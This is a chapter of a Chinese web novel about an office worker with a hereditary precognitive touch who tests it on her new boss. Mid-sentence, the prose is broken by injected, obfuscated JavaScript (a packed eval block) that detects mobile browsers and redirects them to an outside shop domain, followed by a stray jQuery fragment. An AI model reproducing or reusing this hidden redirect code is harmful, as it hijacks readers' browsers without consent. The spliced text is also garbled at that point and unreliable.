文趣网 > 都市小说 > 喜欢你我就失明了 > 2. 跟“心动”挂钩
    “乐意?”

    她还沉浸在刚才的思绪里,小周的声音把她拉回来。

    “啊?怎么了?”

    “你脸色突然有点白欸?身体不舒服?”

    “没事。”林乐意又吸了口气,“就是觉得名字有点耳熟。”

    “耳熟?你认识?”

    “不认识,可能在哪听过吧?”

    她说完,低头把文件翻到下一页,拍拍胸口,感觉心跳没有那么快了。

    一定是昨天追剧太晚睡,现在咖啡又喝太急的关系。

    午休时间,林乐意提前叫外卖,坐在休息室的沙发上,认真地吃饭。

    方棠也坐在对面吃,仔细看了林乐意几秒。

    “我觉得你今天不太对劲。”

    “哪不对劲?”

    “你平时吃饭都会看漫画,今天没看。”

    林乐意低头看了一眼餐盒里的白饭,被她戳了好几个洞,但她不记得自己戳这么多。

    “……我在想提案的事。”

    “你提案都是在deadline前一天才开始想的。”

    林乐意张了张嘴,没找到反驳理由。

    方棠放下叉子,眯起眼看她:“林乐意,你是不是被新总监电到了?”

    “没有。”

    “那你为啥今天看他办公室的方向十几次?”

    “……你数了?”

    “我没数,我猜的。”方棠笑了,“但你这反应……你跟他之间有故事?”

    她没说话,低头继续吃饭,但她也必须承认一件事,从听到“江野”这个名字开始,她的思绪就有点乱了。

    不仅仅是因为心动,而是因为她这个能力,是家族遗传的,外婆有,妈妈有,她也有,但堂妹没有,好像是家族那一辈第一个女生才有。

    小学的时候,她不明白为什么会失效,长大后她隐约猜到原因——这能力可能跟“心动”挂钩。

    妈妈说过,她已经没办法预知爸爸了,但是好在爸爸是个很好懂的人。

    只是她到现在都没想明白,自己到底是因为“能力失效”才意识到心动,还是因为“心动”才导致能力失效。

    但不管怎样,这件事让她很尴尬。

    非常尴尬。

    那个唯一能让自己能力失效的人,有可能就是这位突然空降的上司。

    为什么从江野改名叫文观止?

    为什么突然转学?

    又为什么——

    “林乐意?”方棠的手在她面前晃了晃,“你是在发呆还是在脑补?”

    “发呆。”她说,“纯粹的、无害的发呆。”

    “那你为啥一直在笑?”

    林乐意立刻抿住嘴,方棠意味深长地看着她,没再追问,低头继续吃饭。

    她拿起手机,假装在看消息,实际上在想一件事。

    现在她的能力,会对文观止失效吗?

    这么多年了,她早就不是小女生,也可能那时候的能力因为其他原因故障了,才导致了“心动”的错觉。

    现在她是成年人,成熟的、理智的、见多识广的资深牛马。

    也不是没看过好看的男人,三次元不行,二次元多着呢!

    而且如果照小周打探到的消息,文观止在总部是工作杀神的话,那这实属不是天神降临,是鬼王夜行了。

    不是小学同学就还好,要是真的是,那就是罪加一等(?

    虽然但是,林乐意还是想做一个测试。

    下午,她去茶水间接水,正好“偶遇”了文观止。

    他的黑色陶瓷杯,印着一个黄色笑脸,正放在咖啡机上面,咖啡机正在制作咖啡,等待的时候他本人正在看手机。

    林乐意刻意走到附近,假装也要泡咖啡,伸出手就去碰了一下他的杯子。

    当手指碰到杯壁的瞬间,“叮”的一声,画面出现了。

    不是很清晰,像是隔着磨砂玻璃在看,毕竟碰的是物品,不是本人。

    但她还是看清楚了。

    画面里,文观止拿起杯子,喝了一口咖啡,放下的时候,杯沿上有个浅浅的口红印。

    林乐意:“……”

    她能对文观止的物品能预知,结果预知到了不是很想知道的事情。

    所以她的能力没有坏,物品没问题,照道理来说碰到人也没问题……的吧?

    她有点怀疑,但没胆子去试。

    “在看我杯子?”

    一个声音从头顶传来,林乐意猛地抬头,文观止不知道什么时候已经放下手机,正低头看她。

    距离很近。

    近到她能看到他镜片上倒映的自己,一个端着空水杯、手还放在人家杯子旁边,表情像做贼被抓的女人。

    “呃,没、没什么。”林乐意赶紧收回手,暗忖怎么突然就来搭话了,“就杯子……挺特别的。”

    文观止低头看了一眼自己的杯子,表情没有任何变化。

    “不是什么特别的东西。”他说,“今早出门拿错了。”

    拿错了!这种像情侣杯子的东西会拿错,这不就是家里有人了吗!

    文观止把已经装好咖啡的杯子拿出来,因为有点烫就先放到一边,语气漫不经心:“我妹的恶作剧。”

    林乐意没忍住,嘴角弯了一下。

    高冷总监用的口红印杯子居然是妹妹的恶作剧——挺像日系轻小说书名。

    这个画面有点可爱,但她很快就收起表情,轻咳一声就继续接水。

    文观止拿起杯子,用嘴唇试了一下温度后喝了一口,才注意到杯沿上的口红印。

    文观止:“……”

    他蹙眉头看了杯沿,又瞥头看了她一眼。

    “这真是我妹的杯子。”

    林乐意努力地把难过的事情都想了一遍,才压制住上扬的嘴角。

    “我知道,我没什么意思,只是同事间的……闲聊而已。”

    他一下就喝完了咖啡,洗完杯子后问:“垃圾桶在哪?”

    “啊?在门旁边……咦?您是要把杯子丢掉?”

    “让人误会就不合适,况且会让女性员工觉得冒犯,丢了不可惜。”他微微颔首,态度正经,“抱歉,以后我会谨慎注意。”

    林乐意觉得有点太小题大作了,但还是忍不住对这人的人品点个赞:“您多虑了,我就只是……”

    话还没说完,方棠就走了进来,见到林乐意跟文观止站在咖啡机前面,距离很近不说,中间还有一个杯子?嗯?……是有唇印的杯子!?

    方棠睁大眼看林乐意,直接进行视线加密对话:【姐妹你速度火箭啊?这种杯子都敢往上送?我当你闺蜜,你却真要当我老板娘?】

    林乐意接收到方棠的拷问视线,深怕闺蜜说出什么脖子以下的骚话,于是立刻就把杯子往自己手边放,然后朝文观

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596260|205569||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    止欠身:“谢谢总监帮我洗杯子。”

    文观止微怔,视线一瞥才看到方棠,接着陆陆续续又有一些同事进来,他又看了林乐意几秒,嘴角微微扬起:“不客气……嗯,谢谢。”

    后面的谢谢,像是刻意压低了声音,听得她有点难为情。

    文观止说完后,转身面朝茶水间的所有人:“下午三点,部门会议,各位请把目前的工作做好统整。”

    说完就走出去了。

    本来还放松的气氛一下就唉声叹气了,脸的魅力果然架不住开会的怨力。

    方棠马上走到林乐意身边,用肩膀蹭了一下:“开会哪,老板娘?”

    “别闹。”

    “等一下部门会议,你要不要坐他旁边?”方棠笑得暧昧,“老王那家伙中午请假,按照咱们宫里的位份,娘娘您的年资是可以伴驾的呢。”

    “我坐哪都一样。”她说,“等下就开会了,你上周的图表整理好了?”

    “哦对!我得赶紧去,要不然等等点到我!”方棠把杯子放进水槽里,“宝贝,你老公帮你洗杯子,你就帮我洗吧?”

    林乐意:“……”

    方棠这嘴迟早出事,得找机会买点奶茶零食塞她嘴。

    一到下午三点,大家陆陆续续走进会议室,林乐意没有立刻选座位,而是用手指数着座位,后面方棠一脸疑惑:“你在选财位?”

    “……我在算逃生路线。”

    方棠笑出声,没再多问就往前走了,由于组别不一样,林乐意选了离主位最远的位置,同事们陆续进来,小周坐在他旁边,阿凯跟方棠都坐在对面,方棠朝她挤了挤眼,林乐意假装没看见。

    最后进来的是文观止,他手里拿着一份文件,身后还跟了个助理,他坐下来的时候,视线不经意地扫过会议室一圈。

    林乐意觉得他的目光经过她的时候,好像多停顿几秒,但也可能是她想多了。

    “上周的报告我看了。”文观止翻开文件,声音透过麦克风传来,清晰且有魄力,“整体方向没问题,但有几个地方需要调整。”

    会议正常进行,他说话简洁,点名时会抬头看对方一眼,听汇报时便低头在文件上写字。

    她盯着他握笔的手指看了好几秒。

    手是真的好看,那张脸就算是会议室灯光暗下来,只靠投影机的光,侧脸也依旧帅到人神共愤。

    “上周的快消品提案,是谁负责的?”

    林乐意猛然一惊,立刻举手:“我。”

    文观止翻到其中一页,抬头看她:“报告第三页的用户画像,数据来源是?”

    “去年公司的市调报告,加上我方补的问卷。”

    “问卷样本多少?”

    “三百份。”

    他点了一下头,没说好也没说不好,然后他拿起桌上的投影笔,朝她示意:“第三页的图表,请说明一下。”

    林乐意站起来,加快脚步走到他身边去接投影笔,手指碰到他的手背。

    “叮。”

    预知画面来了,但有点奇怪。

    比刚才的磨砂玻璃还雾,不是流畅的画面,而是很短的、断断续续的,像讯号不好的电视。

    只是零碎的片段,他低头看着她,嘴唇动了一下,好像说了什么,然后画面就断了。

    就像是被强行切断讯号。

    林乐意愣了一秒。

    “林乐意?”